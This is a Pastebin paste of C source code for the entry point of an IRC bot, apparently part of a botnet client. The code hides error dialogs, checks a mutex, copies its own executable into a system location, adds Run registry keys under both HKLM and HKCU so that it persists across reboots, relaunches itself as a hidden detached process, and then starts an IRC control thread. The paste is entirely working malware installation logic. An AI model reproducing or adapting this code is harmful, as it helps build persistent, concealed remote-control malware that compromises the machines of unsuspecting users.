Guest User

Untitled

a guest
Apr 20th, 2018
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.84 KB | None | 0 0
  1. #include "Load.h"
  2. #include "Manual.h"
  3.  
  4. char CurrentName[1024];
  5. HANDLE xetum;
  6.  
  7. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  8. {
  9. SetErrorMode(SEM_NOGPFAULTERRORBOX);
  10.  
  11. Sleep(2000);
  12.  
  13. xetum = CreateMutex(NULL, FALSE, cfg_mutex);
  14. if (GetLastError() == ERROR_ALREADY_EXISTS)
  15. ExitProcess(0);
  16. char test[1] = "";
  17.  
  18. //install
  19. char cpbot[MAX_PATH];
  20. char movetopath[MAX_PATH];
  21. char spath[MAX_PATH];
  22. GetModuleFileName(GetModuleHandle(NULL), cpbot, sizeof(cpbot));
  23. ExpandEnvironmentStrings(gotopth,movetopath,sizeof(movetopath));
  24. sprintf(spath,"%s\\%s",movetopath,exename);
  25.  
  26. if (MoveBot(movetopath,exename))
  27. {
  28. HKEY hndKey;
  29. hndKey= NULL;
  30. RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL, &hndKey, NULL);
  31. RegSetValueEx(hndKey,szRegname,0, REG_SZ,(const unsigned char *)spath,strlen(spath));
  32. RegCloseKey(hndKey);
  33.  
  34. HKEY hKey;
  35. hKey= NULL;
  36. RegCreateKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL, &hKey, NULL);
  37. RegSetValueEx(hKey,szRegname,0, REG_SZ,(const unsigned char *)spath,strlen(spath));
  38. RegCloseKey(hKey);
  39.  
  40. PROCESS_INFORMATION pinfo;
  41. STARTUPINFO sinfo;
  42. ZeroMemory(&pinfo,sizeof(pinfo));
  43. ZeroMemory(&sinfo,sizeof(sinfo));
  44. sinfo.lpTitle = "";
  45. sinfo.cb = sizeof(sinfo);
  46. sinfo.dwFlags = STARTF_USESHOWWINDOW;
  47.  
  48. sinfo.wShowWindow = SW_HIDE;
  49.  
  50. if (CreateProcess(spath,NULL,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS|DETACHED_PROCESS,NULL,movetopath,&sinfo,&pinfo))
  51. {
  52. Sleep(200);
  53. CloseHandle(pinfo.hProcess);
  54. CloseHandle(pinfo.hThread);
  55. WSACleanup();
  56. ExitProcess(EXIT_SUCCESS);
  57. }
  58.  
  59. ExitProcess(1);
  60. }
  61.  
  62. IRC_Thread((void*)test);
  63.  
  64. return(0);
  65.  
  66. }
Add Comment
Please, Sign In to add comment